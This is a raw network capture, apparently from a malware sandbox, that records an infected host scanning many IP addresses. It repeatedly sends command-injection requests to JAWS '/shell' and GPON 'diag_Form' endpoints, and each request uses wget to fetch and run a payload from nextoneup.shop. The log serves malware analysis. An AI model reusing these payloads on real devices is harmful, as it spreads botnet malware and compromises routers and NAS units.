6c 64 3b 20 63 6f 6c 6f 72 3a 20 62 6c 61 63 6b 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 7d 0d 0a 20 20 20 20 20 20 20 20 20 2e 76 65 72 73 69 6f 6e 20 7b 63 6f 6c 6f 72 3a 20 67 72 61 79 3b 7d 0d 0a 20 20 20 20 20 20 20 20 20 2e 65 72 72 6f 72 20 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 30 70 78 3b 7d 0d 0a 20 20 20 20 20 20 20 20 20 2e 65 78 70 61 6e 64 61 62 6c 65 20 7b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 20 63 6f 6c 6f 72 3a 6e 61 76 79 3b 20 63 75 72 73 6f 72 3a 68 61 6e 64 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 36 33 39 70 78 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 70 72 65 20 7b 20 77 69 64 74 68 3a 20 34 34 30 70 78 3b 20 6f 76 65 72 66 6c 6f 77 3a 20 61 75 74 6f 3b 20 77 Data Ascii: <!DOCTYPE html><html> <head> <title></title> <meta name="viewport" content="width=device-width" /> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px} H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red } H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon } pre {font-family:"Consolas","Lucida Console",Monospace;font-size:11pt;margin:0;padding:0.5em;line-height:14pt} .marker {font-weight: bold; color: black;text-decoration: none;} .version {color: gray;} .error {margin-bottom: 10px;} .expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; } @media screen and (max-width: 639px) { pre { width: 440px; overflow: auto; w

Session ID	Source IP	Source Port	Destination IP	Destination Port
1694	192.168.2.23	38812	103.116.188.175	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:37.129518986 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1695	192.168.2.23	55900	54.192.213.122	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:37.425080061 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:37.808317900 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:01:37 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1696	192.168.2.23	47816	34.102.237.75	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:37.591681004 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:37.762619019 CEST	267	IN	HTTP/1.1 301 Moved Permanently Cache-Control: private Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 0 Date: Sun, 14 Apr 2024 02:01:37 GMT Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
1697	192.168.2.23	35718	98.245.208.64	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:37.635514975 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:37.853059053 CEST	399	IN	HTTP/1.1 404 Not Found Date: Sat, 13 Apr 2024 19:01:36 GMT Server: Webs X-Frame-Options: SAMEORIGIN Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1698	192.168.2.23	35904	212.227.189.186	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:37.772013903 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:38.086777925 CEST	372	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Sun, 14 Apr 2024 02:01:37 GMT Content-Type: text/html Content-Length: 166 Connection: keep-alive Location: https://compromiser.de Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1699	192.168.2.23	39376	195.28.207.104	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:37.779784918 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:38.750052929 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:40.701744080 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:44.765163898 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:52.700073004 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1700	192.168.2.23	35188	142.132.217.70	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:37.794258118 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:38.137595892 CEST	338	IN	HTTP/1.1 403 Forbidden Server: nginx/1.18.0 (Ubuntu) Date: Sun, 14 Apr 2024 02:01:37 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1701	192.168.2.23	38488	217.241.22.11	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:37.799000025 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:38.135901928 CEST	786	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 14 Apr 2024 02:01:37 GMT Content-Type: text/html Content-Length: 494 Last-Modified: Fri, 05 Apr 2024 06:51:05 GMT Connection: keep-alive Keep-Alive: timeout=20 ETag: "660f9f59-1ee" Cache-Control: no-cache Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 68 74 74 70 22 20 6e 61 6d 65 3d 22 68 74 74 70 22 20 76 61 6c 75 65 3d 22 35 30 30 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 68 74 74 70 73 22 20 6e 61 6d 65 3d 22 68 74 74 70 73 22 20 76 61 6c 75 65 3d 22 35 30 30 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 70 72 65 66 65 72 5f 68 74 74 70 73 22 20 6e 61 6d 65 3d 22 70 72 65 66 65 72 5f 68 74 74 70 73 22 20 76 61 6c 75 65 3d 22 74 72 75 65 22 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 76 61 72 20 70 72 6f 74 6f 63 6f 6c 3d 22 68 74 74 70 73 3a 22 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 70 6f 72 74 3d 35 30 30 31 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 55 52 4c 3d 70 72 6f 74 6f 63 6f 6c 2b 22 2f 2f 22 2b 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2b 22 3a 22 2b 70 6f 72 74 2b 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2b 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 3b 0a 20 20 20 20 20 20 20 20 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 55 52 4c 29 3b 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html> <body> <input type="hidden" id="http" name="http" value="5000"> <input type="hidden" id="https" name="https" value="5001"> <input type="hidden" id="prefer_https" name="prefer_https" value="true"> </body> <script type="text/javascript"> var protocol="https:"; var port=5001; var URL=protocol+"//"+location.hostname+":"+port+location.pathname+location.search; location.replace(URL); </script></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1702	192.168.2.23	57396	109.33.94.89	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:39.462080002 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:40.445877075 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:42.397512913 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:46.300997019 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:54.235879898 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1703	192.168.2.23	34566	172.73.100.115	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:39.683682919 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:39.930711031 CEST	206	IN	HTTP/1.1 307 Temporary Redirect Location: /0.1/gui/?item=shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 0 Date: Sun, 14 Apr 2024 02:01:40 GMT Server: HTTP Server

Session ID	Source IP	Source Port	Destination IP	Destination Port
1704	192.168.2.23	38040	1.225.235.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:39.750195026 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:40.067333937 CEST	1289	IN	HTTP/1.1 200 OK Content-type: text/html Transfer-Encoding: chunked Date: Sun, 14 Apr 2024 02:01:40 GMT Server: httpd Data Raw: 34 32 37 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 20 3d 20 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 65 78 70 69 72 65 73 22 20 43 4f 4e 54 45 4e 54 3d 22 2d 31 22 3e 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 0a 3c 74 69 74 6c 65 3e 69 70 54 49 4d 45 20 4e 41 53 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 53 74 79 6c 65 53 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 2e 31 2e 35 2e 30 34 2e 63 73 73 22 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 42 4f 44 59 20 53 54 59 4c 45 3d 22 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 3b 70 61 64 64 69 6e 67 3a 31 33 70 78 3b 22 3e 0a 0a 3c 54 41 42 4c 45 20 57 49 44 54 48 3d 34 30 30 20 42 4f 52 44 45 52 3d 30 20 43 45 4c 4c 50 41 44 44 49 4e 47 3d 30 20 43 45 4c 4c 53 50 41 43 49 4e 47 3d 30 20 53 54 59 4c 45 3d 22 74 61 62 6c 65 2d 6c 61 79 6f 75 74 3a 61 75 74 6f 3b 22 20 41 4c 49 47 4e 3d 6c 65 66 74 3e 0a 09 3c 54 52 3e 0a 09 09 3c 54 44 20 57 49 44 54 48 3d 34 30 30 20 48 45 49 47 48 54 3d 37 38 3e 0a 09 09 09 3c 54 41 42 4c 45 20 42 4f 52 44 45 52 3d 30 20 43 45 4c 4c 50 41 44 44 49 4e 47 3d 30 20 43 45 4c 4c 53 50 41 43 49 4e 47 3d 30 20 57 49 44 54 48 3d 22 31 30 30 25 22 20 48 45 49 47 48 54 3d 22 31 30 30 25 22 20 53 54 59 4c 45 3d 22 62 6f 72 64 65 72 3a 23 44 32 44 32 44 32 20 31 70 78 20 73 6f 6c 69 64 3b 22 3e 0a 09 09 09 3c 54 52 20 48 45 49 47 48 54 3d 22 33 35 22 3e 0a 09 09 09 09 3c 54 44 20 57 49 44 54 48 3d 22 31 31 22 3e 3c 2f 54 44 3e 0a 09 09 09 09 3c 54 44 20 57 49 44 54 48 3d 22 31 39 22 3e 3c 49 4d 47 20 53 52 43 3d 22 2f 69 6d 61 67 65 2f 69 63 6f 6e 5f 77 61 72 6e 69 6e 67 2e 67 69 66 22 3e 3c 2f 54 44 3e 0a 09 09 09 09 3c 54 44 20 53 54 59 4c 45 3d 22 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 6f 70 3a 32 70 78 3b 22 3e 3c 42 3e ea b2 bd ea b3 a0 3c 2f 42 3e 3c 2f 54 44 3e 0a 09 09 09 3c 2f 54 52 3e 0a 09 09 09 3c 54 52 20 48 45 49 47 48 54 3d 22 33 35 22 3e 0a 09 09 09 09 3c 54 44 3e 3c 2f 54 44 3e 0a 09 09 09 09 3c 54 44 20 43 4f 4c 53 50 41 4e 3d 22 32 22 20 53 54 59 4c 45 3d 22 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 36 70 78 3b 22 3e 0a 09 09 09 09 09 ec 9e 98 eb aa bb eb 90 9c 20 55 52 4c 20 ec 9e 85 eb 8b 88 eb 8b a4 2e 3c 42 52 3e 0a 09 09 09 09 09 ec 98 ac eb b0 94 eb a5 b8 20 ec a3 bc ec 86 8c eb a5 bc 20 ec 82 ac ec 9a a9 ed 95 98 ec 97 ac 20 ec a0 91 ec 86 8d ed 95 98 ec 8b 9c ea b8 b0 20 eb b0 94 eb 9e 8d eb 8b 88 eb 8b a4 2e 0a 09 09 09 09 3c 2f 54 44 3e 0a 09 09 09 3c 2f 54 52 3e 0a 09 09 09 3c 54 52 3e 3c 54 44 20 43 4f 4c 53 50 41 4e 3d 22 33 22 3e 3c 2f 54 44 3e 3c 2f 54 52 3e 0a 09 09 09 3c 2f 54 41 42 4c 45 3e 0a 09 09 3c 2f 54 44 3e 0d 0a 31 62 64 0d 0a 0a 09 3c 2f 54 52 3e 0a 09 3c 54 52 3e 0a 09 09 3c 54 44 20 48 45 49 47 48 54 3d 32 30 20 53 54 59 4c 45 3d 22 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 6f 74 74 6f 6d 3b 22 3e 0a 09 09 09 3c 54 41 42 4c 45 20 42 4f 52 44 45 52 Data Ascii: 427<HTML><HEAD><meta name = "viewport" content="width=device-width"><META HTTP-EQUIV="expires" CONTENT="-1"><META HTTP-EQUIV="Pragma" content="no-cache"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ipTIME NAS</title><link rel="StyleSheet" type="text/css" href="/css/style.1.5.04.css"></head><BODY STYLE="vertical-align:top;padding:13px;"><TABLE WIDTH=400 BORDER=0 CELLPADDING=0 CELLSPACING=0 STYLE="table-layout:auto;" ALIGN=left><TR><TD WIDTH=400 HEIGHT=78><TABLE BORDER=0 CELLPADDING=0 CELLSPACING=0 WIDTH="100%" HEIGHT="100%" STYLE="border:#D2D2D2 1px solid;"><TR HEIGHT="35"><TD WIDTH="11"></TD><TD WIDTH="19"><IMG SRC="/image/icon_warning.gif"></TD><TD STYLE="position:relative;top:2px;"><B></B></TD></TR><TR HEIGHT="35"><TD></TD><TD COLSPAN="2" STYLE="vertical-align:top;line-height:16px;"> URL .<BR> .</TD></TR><TR><TD COLSPAN="3"></TD></TR></TABLE></TD>1bd</TR><TR><TD HEIGHT=20 STYLE="vertical-align:bottom;"><TABLE BORDER
Apr 14, 2024 04:01:40.067375898 CEST	381	IN	Data Raw: 3d 30 20 43 45 4c 4c 50 41 44 44 49 4e 47 3d 30 20 43 45 4c 4c 53 50 41 43 49 4e 47 3d 30 20 53 54 59 4c 45 3d 22 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 22 20 4f 4e 43 4c 49 43 4b 3d 22 70 61 72 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 2e 6c 6f Data Ascii: =0 CELLPADDING=0 CELLSPACING=0 STYLE="cursor:pointer;" ONCLICK="parent.document.location.href = '/login.cgi?act=logout'"><TR><TD WIDTH="11"></TD><TD WIDTH="19"><IMG SRC="/image/icon_return_black.gif"></TD><TD STYLE="position
Apr 14, 2024 04:01:40.067496061 CEST	17	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1705	192.168.2.23	36690	178.148.127.67	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:39.814754009 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1706	192.168.2.23	56082	118.43.237.216	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:39.814815998 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1707	192.168.2.23	45246	117.132.97.68	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:39.814857960 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1708	192.168.2.23	57354	42.227.54.107	443

Timestamp	Bytes transferred	Direction	Data
